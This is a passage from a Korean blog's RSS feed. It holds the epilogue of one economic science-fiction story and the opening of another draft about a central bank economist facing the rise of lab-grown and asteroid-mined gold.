&lt;p data-ke-size=&quot;size16&quot;&gt;멀리서,&lt;br /&gt;도심 빌딩 사이로 달이 떠오르기 시작했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;있잖아.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서가 말했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;금이 더 이상 희소하지 않게 되면,&lt;br /&gt;사람들이 달을 더 많이 올려다보게 될까?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;진우는 그 질문을 한 번 되뇌었다가,&lt;br /&gt;천천히 고개를 들어 하늘을 봤다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;글쎄.&amp;rdquo;&lt;br /&gt;그가 말했다. &amp;ldquo;달 속 금을 생각하면서 볼 수도 있고,&lt;br /&gt;그냥 예쁜 거 떠 있네, 하면서 볼 수도 있고.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;너는?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;나는&amp;hellip;&amp;rdquo;&lt;br /&gt;진우가 잠시 생각했다. &amp;ldquo;아마 이렇게 생각할 것 같아.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;어떻게?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;&amp;lsquo;저기 어딘가에,&lt;br /&gt;우리가 아직 가격 붙이지 못한 것들이 많겠지.&amp;rsquo;&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 말에,&lt;br /&gt;민서는 고개를 끄덕였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;그게, 아마 진짜 희소성일지도 모르겠다.&amp;rdquo;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;에필로그 &amp;ndash; 어느 날, 메일 하나&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;몇 주쯤 지난 어느 평일 아침,&lt;br /&gt;민서는 평소처럼 출근해 메일함을 열었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각종 보고서, 회의 일정, 해외 중앙은행 뉴스 요약들이 쏟아져 들어와 있었고,&lt;br /&gt;그 사이에 비교적 수수한 제목 하나가 눈에 들어왔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;&amp;ldquo;소행성 샘플 이미지 공유 &amp;ndash; 참고용&amp;rdquo;&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보낸 사람은 진우였다.&lt;br /&gt;공식 기관 메일 주소로 온 걸 보니, 회사 측 승인을 받아 송부한 자료인 듯했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 메일을 열어 첨부파일을 확인했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;첫 번째 이미지는, 이전에 받았던 것과 비슷한 암석 샘플 사진.&lt;br /&gt;하지만 두 번째 이미지는 조금 달랐다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;검은 암석 대신,&lt;br /&gt;실험실 조명 아래에서 반짝이는 작은 금속 덩어리.&lt;br /&gt;아직 금괴라고 부르긴 이른, 손가락 마디만 한 크기의 조각이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;&amp;ldquo;우리가 소행성에서 처음으로 분리해 낸 금속 덩어리.&lt;br /&gt;순도 분석은 더 해봐야 하지만,&lt;br /&gt;어쨌든 이건 &amp;lsquo;지구 밖에서 시작된 금&amp;rsquo;이라는 점에서 의미 있다고 팀장이 그러더라.&amp;rdquo;&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;메일 본문에는 그렇게 적혀 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;맨 아래에는 한 줄이 더 붙어 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;&amp;ldquo;언젠가,&lt;br /&gt;네가 말한 대로&lt;br /&gt;천연 금, 랩그로운 금, 우주 금&lt;br /&gt;세 종류를 한 줄에 놓을 날이 오겠지.&amp;rdquo;&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 모니터 화면을 한동안 바라보다가,&lt;br /&gt;천천히 손을 뻗어 프린트 버튼을 눌렀다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프린터에서 뽑혀 나온 사진을 조심스럽게 반으로 접어,&lt;br /&gt;서랍 깊숙한 곳에 넣어 두었다.&lt;br /&gt;그 옆에는, 예전에 주머니에 넣고 다니던 종이 메모가 함께 들어 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;What happens when gold is no longer scarce?&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;열지 않아도,&lt;br /&gt;그 문장의 모양을 손끝이 기억하고 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서랍을 닫고 나서야,&lt;br /&gt;민서는 모니터 속 숫자들로 다시 눈을 돌렸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;금 시세 차트는 오늘도 오르고 내리기를 반복하고 있었다.&lt;br /&gt;뉴스 헤드라인은 여전히 랩그로운 금과 전통 금광,&lt;br /&gt;우주 자원과 탄소중립,&lt;br /&gt;디지털 통화와 통화정책 사이를 오갔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;변한 것도, 변하지 않은 것도 많았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 새 문서 창을 하나 열었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제목 줄에,&lt;br /&gt;그는 조심스럽게 몇 글자를 입력했다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;「금이 더 이상 특별하지 않은 날」&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;커서가 깜빡였다.&lt;br /&gt;그 아래에 첫 문장을 어떻게 쓸지 잠시 망설이던 그는,&lt;br /&gt;어느새 떠오르는 한 문장을 그대로 적어 내려갔다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&amp;ldquo;우리가 빛난다고 믿었던 것들은,&lt;br /&gt;어쩌면 그 안에 든 금 때문이 아니라,&lt;br /&gt;한동안 그걸 붙들고 버틴 우리 때문이었는지도 모른다.&amp;rdquo;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 문장을 쓰고 나서야,&lt;br /&gt;민서는 살짝 숨을 내쉬었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이건 중앙은행을 위한 보고서도,&lt;br /&gt;시장 참가자를 위한 리포트도 아니었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그냥,&lt;br /&gt;금고를 드나드는 한 사람과,&lt;br /&gt;소행성 궤도를 계산하는 한 사람이&lt;br /&gt;같은 시대를 살면서 나눈 생각의 기록일 뿐이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;그리고 어쩌면,&lt;br /&gt;이런 기록 하나하나가&lt;br /&gt;금 이후의 시대에 남는&lt;br /&gt;진짜 희소성이 될지도 모르겠다.&lt;/i&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;334&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rPgHW/dJMcabi5XOk/6TlowH4cKYkMoRkrwmppl1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rPgHW/dJMcabi5XOk/6TlowH4cKYkMoRkrwmppl1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rPgHW/dJMcabi5XOk/6TlowH4cKYkMoRkrwmppl1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrPgHW%2FdJMcabi5XOk%2F6TlowH4cKYkMoRkrwmppl1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;413&quot; height=&quot;413&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;334&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>VibeCoding/글</category>
      <category>경제SF</category>
      <category>금이후의시대</category>
      <category>랩그로운골드</category>
      <category>소행성채굴</category>
      <category>우주자원포럼</category>
      <category>작가의시선</category>
      <category>준비자산논의</category>
      <category>통화체계미래</category>
      <category>한국중편</category>
      <author>댕기사랑</author>
      <guid isPermaLink="true">https://thepin.tistory.com/219</guid>
      <comments>https://thepin.tistory.com/219#entry219comment</comments>
      <pubDate>Sun, 8 Mar 2026 18:14:54 +0900</pubDate>
    </item>
    <item>
      <title>연금술이후의 금  v0.1</title>
      <link>https://thepin.tistory.com/218</link>
      <description>&lt;!-- 티스토리용 HTML 전체 통합 버전 --&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;연금술 이후의 금&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지하로 내려갈수록 공기가 점점 더 차가워졌다.&lt;br /&gt;엘리베이터 문이 열리자, 차가운 공기와 함께 금속과 콘크리트 냄새가 한꺼번에 밀려들었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;중앙은행 금고에 오신 걸 환영합니다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 습관처럼 그렇게 말해 놓고, 스스로도 조금 웃음이 나왔다. 이미 수십 번 했던 안내 멘트였고, 오늘 따라 견학을 온 사람도 없었다. 엘리베이터 안에는 그와 최신형 보안 로봇 하나뿐이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로봇의 광학 센서가 그를 향해 한 번 깜박였다. 인식 완료, 출입 허용.&lt;br /&gt;민서는 출입카드를 터치하고, 금고 구역으로 이어지는 무거운 철문 앞으로 걸음을 옮겼다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문이 열리는 동안, 그는 잠깐 눈을 감았다.&lt;br /&gt;매번 문이 열릴 때 들리는 낮고 둔탁한 쇳소리가, 이상할 정도로 마음을 가라앉히곤 했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;살짝 비현실적인 소리였다.&lt;br /&gt;위층에서는 오늘도 주가지수, 환율, 채권금리가 실시간으로 변하는 차트가 화면을 가득 채우고 있을 텐데,&lt;br /&gt;이 아래층에는, 마치 시간 자체가 느려진 것 같은 이 소리만 존재했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;철문이 완전히 열렸을 때, 익숙한 풍경이 눈앞에 펼쳐졌다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4층 높이의 천장 밑, 규칙적으로 늘어선 선반들.&lt;br /&gt;선반마다 일정 수의 금괴가 수평으로 정갈하게 쌓여 있었고, 각 금괴의 옆면에는 작은 숫자가 음각으로 찍혀 있었다.&lt;br /&gt;중량, 순도, 출처, 연도.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 가볍게 숨을 들이마셨다.&lt;br /&gt;언제나 이 풍경을 볼 때면, 조금은 무대 뒤편에 들어온 역할 배우가 된 기분이 들었다.&lt;br /&gt;뉴스에서 &amp;ldquo;국가의 신뢰를 뒷받침하는 금 준비자산&amp;rdquo;이라고 부르는 것들이, 실제로는 이렇게 고요하고 차갑게 누워 있다는 걸 제대로 아는 사람은 많지 않을 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;오늘도 잘 계시네요. 선생님들.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;말을 건다고 해서 금괴가 대답해 줄 리는 없었지만, 민서는 습관처럼 중얼거렸다.&lt;br /&gt;금은 말을 하지 않지만, 대신 숫자로 말한다.&lt;br /&gt;그게 그의 일의 전부이기도 했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그는 태블릿을 켜고, 오늘 점검해야 할 랙 번호를 확인했다.&lt;br /&gt;최근 몇 년 사이 들어온 금괴들이 모여 있는 구역이었다.&lt;br /&gt;한 켠에는 몇 년 전, 근지구 소행성에서 가져온 첫 공식 귀금속 샘플도 조그맣게 자리 잡고 있었다.&lt;br /&gt;중량으로 치면 아무 것도 아닌 양이었지만, 언론은 그걸 두고 한참이나 &amp;ldquo;우주 금 시대의 개막&amp;rdquo;이라고 떠들어댔었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 그 작은 바를 지나치면서, 잠깐 발걸음을 멈췄다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;빛깔만 놓고 보면, 여기 있는 다른 금괴들과 차이를 찾기 어려웠다.&lt;br /&gt;태양계 초창기 먼지에서 뭉쳐진 것이든, 지구 깊은 곳에서 열수 작용으로 농축된 것이든, 아니면 로켓으로 실어온 소행성 조각이든.&lt;br /&gt;결국 인간이 보는 건 색, 무게, 숫자뿐이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;그래도 사람들은 &amp;lsquo;우주 금&amp;rsquo;이라면 눈이 반짝이지.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 혼잣말을 하며 미소를 지었다.&lt;br /&gt;경제학자라는 직업을 가지고도, 이런 감성에서 완전히 자유롭지는 않았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그가 이곳에서 일하기로 마음먹었던 것도, 사실은 아주 실용적인 이유만은 아니었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대학에서 통화정책과 금본위제도를 공부하던 시절, 교수는 칠판에 오래된 금화 그림을 그려놓고 말했다.&lt;br /&gt;&amp;ldquo;사람들은 금 자체를 믿은 게 아니라, 금을 둘러싼 합의를 믿은 겁니다. 그래도 금은 그 합의가 금속이라는 형태로 남아 있는 드문 사례죠.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 그 말을 듣고, 언젠가 실제 금괴를 눈으로 보는 일을 해 보고 싶다고 생각했다.&lt;br /&gt;그리고 지금, 그는 매일 이 금고를 출근처럼 드나들고 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;태블릿의 체크리스트를 따라 몇 개의 선반을 훑고 나면, 자동으로 시스템이 재고와 수치를 비교해 준다.&lt;br /&gt;위반, 이상 없음.&lt;br /&gt;숫자만 놓고 보면 완벽한 질서였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제는, 숫자 이면의 이야기가 조금씩 달라지고 있다는 데 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;금고 끝 쪽, 비교적 최근에 들어온 랙 쪽에는 전통적인 광석 채굴이 아닌, 재활용 금속에서 정련한 금괴들도 섞여 있었다.&lt;br /&gt;인류가 쓰고 버린 전자제품에서 다시 추출한 금이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 어제, 민서는 새로운 종류의 금괴 하나를 처음으로 보게 되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;랩-grown&amp;hellip;&amp;rdquo;&lt;br /&gt;그는 천천히 그 단어를 떠올렸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;합성 다이아몬드처럼, &amp;ldquo;실험실에서 자라난 금&amp;rdquo;.&lt;br /&gt;어제는 그 테스트 샘플을 처리하는 회의가 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;순도는 99.99%로 표기되어 있었고, 물리적&amp;middot;화학적 검증 결과만 놓고 보면 기존 금괴들과 구분이 되지 않았다.&lt;br /&gt;다만 바코드와 데이터베이스 상에서, 그 금괴 옆에는 작은 태그가 붙어 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;Origin: Lab-Created&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;금고에 들어온 첫 번째 합성 금괴.&amp;rdquo;&lt;br /&gt;민서는 어제 그걸 보며, 자기도 모르게 그렇게 생각했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;물론 중앙은행은 아직 그 금괴를 공식 준비자산으로 인정하지 않았다.&lt;br /&gt;지금 단계에선 단지 실험용 샘플, 그리고 미래 검토를 위한 참고 자료.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 번호가 부여되고, 리스트에 올라가고, 무게와 순도가 기록되는 순간부터,&lt;br /&gt;그 금괴는 어느 정도까지는 이 시스템의 언어를 배운 셈이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 발걸음을 돌려, 오늘 확인 대상이 아닌 랙 쪽으로 몇 걸음 더 걸어갔다.&lt;br /&gt;합성 금 시제품이 보관된 작은 칸막이가 가까워졌다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;선반 위, 조명 아래에서 금괴는 다른 금들과 다를 바 없이 빛났다.&lt;br /&gt;표면의 미세한 스크래치까지 완벽하게 정련된, 반듯한 직육면체.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 옆에는 출처 코드가 짧게 적혀 있었다.&lt;br /&gt;&amp;lsquo;LG-01&amp;rsquo;. Lab-Grown 1호.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;처음 본 건데, 이상하게 안 어색하네.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 속으로 생각했다.&lt;br /&gt;&amp;ldquo;돌이켜 보면, 처음 카드 결제를 할 때도 현금이랑 느낌이 달랐어야 하는데, 금방 익숙해졌지. 아마 이것도 그런 식으로 스며들겠지.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 다른 한편으로, 마음 한 구석에서 느릿한 저항감이 올라왔다.&lt;br /&gt;이곳에 있는 금괴들은, 전부 수십 년, 길게는 수십 세대에 걸친 긴 이야기를 품고 있다.&lt;br /&gt;전쟁과 외교, 무역과 위기, 국부의 축적과 유출.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그런데 이 조그만 직육면체는, 불과 몇 달 전에 실험실에서 &amp;ldquo;제조&amp;rdquo;되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;역사가 너무 짧았다.&lt;br /&gt;그 사실이 민서에게 이상하게 걸렸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;역사가 짧다는 게 왜 문제지?&amp;rdquo;&lt;br /&gt;그는 스스로에게 물었다.&lt;br /&gt;&amp;ldquo;우리가 믿는 건 결국 현재의 신뢰, 현재의 담보력일 뿐인데.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;경제학자 모드의 민서는 그렇게 답하려 했다.&lt;br /&gt;하지만 이곳에서, 금괴들 사이를 걸을 때만큼은, 그는 자신이 조금 더 감성적인 인간이라는 사실을 인정할 수밖에 없었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;태블릿이 진동을 울렸다.&lt;br /&gt;새로운 메일 알림.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 금괴에서 시선을 떼고 화면을 열어 보았다.&lt;br /&gt;제목은 간단했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[Confidential] Lab-Grown Gold Production Cost Curve &amp;ndash; Internal Review Draft&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보낸 사람은 본부 리서치국.&lt;br /&gt;참조에는 통화정책국, 국제국, 그리고 그가 속한 자산운용국이 나란히 올려져 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 메일을 열었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;첫 페이지에는 짧은 요약이 적혀 있었다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;최근 민간 연구기관 A사에서 발표한 랩그로운 금 파일럿 플랜트 결과를 분석한 내부 보고서 초안입니다.&lt;br /&gt;생산 단가 추이와 기존 광산 채굴 비용 비교 그래프를 첨부하오니, 준비자산 전략 검토에 참고하시기 바랍니다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스크롤을 내리자, 익숙한 모양의 그래프가 눈에 들어왔다.&lt;br /&gt;두 개의 곡선.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하나는 전통적인 금광 채굴의 평균 비용을 나타낸 완만한 선.&lt;br /&gt;다른 하나는 랩그로운 금 공정의 예상 생산 단가를 나타낸, 가파르게 내려가는 선.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;두 선은 아직은 멀리 떨어져 있었지만, 어딘가에서 반드시 만날 것처럼 보였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 숨을 천천히 들이쉬었다.&lt;br /&gt;이 그래프가 의미하는 바를 이해하는 데는, 복잡한 수학이 필요하지 않았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;희소성의 이론적 붕괴 시점.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;누군가 보고서 안에서 그렇게 표현해 두었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그는 눈을 떼지 못한 채, 그래프를 좀 더 확대했다.&lt;br /&gt;당장 내년이나 내후년 이야기는 아니었다.&lt;br /&gt;하지만 보고서 작성자의 보수적인 가정을 고려해도, &amp;ldquo;우리 세대 안&amp;rdquo;이라는 사실이 선명했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위층에서 들려오는 알람 소리가 아주 희미하게 바닥을 울렸다.&lt;br /&gt;어디선가 또 환율이 튀고, 주가지수가 흔들리고 있을 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 잠시 그래프를 닫고, 다시 주변을 둘러보았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;금괴들은 아무 말도 하지 않았다.&lt;br /&gt;수백 년 동안 그래 왔듯, 침묵 속에서 반사된 빛만 흘려보낼 뿐이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;당신들의 시대가&amp;hellip; 정말로 끝날 수도 있겠네.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그는 거의 들리지 않을 정도로 낮게 중얼거렸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;얼마 전까지만 해도, 금값의 등락은 그저 그래프 위의 움직임이었다.&lt;br /&gt;하지만 지금, 그 그래프 뒤에 &amp;ldquo;생산 기술의 변화&amp;rdquo;라는 실체가 붙기 시작했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;합성 다이아몬드가 등장하고, 천연 다이아몬드 가격이 흔들리기 시작했을 때 업계 사람들이 느꼈을 감정이 조금은 이해됐다.&lt;br /&gt;&amp;lsquo;진짜&amp;rsquo;와 &amp;lsquo;가짜&amp;rsquo;의 경계가 무너지는 순간, 사람들은 무엇을 붙들어야 할까.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 태블릿을 끄고 다시 출입문 쪽으로 향했다.&lt;br /&gt;지하 금고의 공기가 처음 내려올 때보다 더 차갑게 느껴졌다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;엘리베이터 버튼을 누르고 기다리는 동안, 그는 방금 본 그래프를 머릿속에서 다시 그려 보았다.&lt;br /&gt;하나는 천천히 오르거나 유지되는 선.&lt;br /&gt;다른 하나는 기술 발전과 함께 내려가는 선.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;저게 만나는 날, 세상은 얼마나 달라져 있을까.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문이 열렸다.&lt;br /&gt;그가 올라탈 층은 지상 1층, 통화정책국과 자산운용국이 함께 있는 층이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문이 닫히기 직전, 그는 한 번 더 뒤를 돌아보았다.&lt;br /&gt;철문 너머, 금괴들이 줄지어 서 있는 어둑한 공간이 잠깐 보였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;잠깐 동안, 민서는 아주 이상한 생각을 했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;언젠가, 저 선반들 사이에&lt;br /&gt;&amp;lsquo;LG-01&amp;rsquo; 같은 금괴가 수백, 수천 개씩 나란히 놓이게 될까?&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;엘리베이터가 움직이기 시작했다.&lt;br /&gt;바닥 진동과 함께, 현실이 다시 숫자의 세계로 올라오는 느낌이 들었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오늘 회의 안건 중 하나에는 &amp;ldquo;랩그로운 금이 준비자산에 미칠 잠재적 영향&amp;rdquo;이 적혀 있었다.&lt;br /&gt;그리고 회의가 끝난 뒤에는, 오랜만에 연락이 온 대학 동창과 만날 약속도 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lsquo;소행성 금&amp;rsquo; 이야기를 제일 먼저 꺼냈던, 그 우주공학과 친구였다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;엘리베이터 문이 열리자, 이번에는 금속 냄새 대신 사람 냄새가 밀려들었다.&lt;br /&gt;전화기를 붙들고 서성이는 직원들, 모니터 앞에 박혀 있는 애널리스트들, 복도 끝 회의실 앞에서 대기 중인 방문객들까지.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지하의 고요함은 한 층 위로 올라오는 순간 곧바로 소음으로 바뀌었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;민서 씨, 딱 맞춰 오셨네요.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;복도에서 민서를 기다리고 있던 건, 자산운용국 팀장이었다.&lt;br /&gt;짧게 깎은 머리에 항상 정리된 넥타이, 표정은 친절하지만 눈빛은 숫자만 보는 사람 특유의 날카로움이 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;예, 방금 내려갔다가 올라오는 길입니다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;금고는 아직 잘 버티고 있죠?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;팀장이 던진 농담 섞인 질문에, 민서는 잠시 말을 골랐다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;물리적으로는, 네. 아주 잘 버티고 있습니다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;그럼 됐어요. 시장이야 뭐, 늘 요란하니까.&amp;rdquo;&lt;br /&gt;팀장이 손목시계를 한 번 보고는, 손짓으로 회의실 쪽을 가리켰다. &amp;ldquo;이쪽으로 가시죠. 오늘 리서치국에서 재미있는 자료가 하나 올라와서요.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 그 &amp;lsquo;재미있는 자료&amp;rsquo;가 뭔지 이미 알고 있었다.&lt;br /&gt;방금 지하에서 읽은 메일과 같은 제목이, 회의실 문 옆 전자 일정판에도 떠 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Lab-Grown Gold Production Cost Curve &amp;ndash; Joint Briefing&lt;/b&gt;&lt;/p&gt;
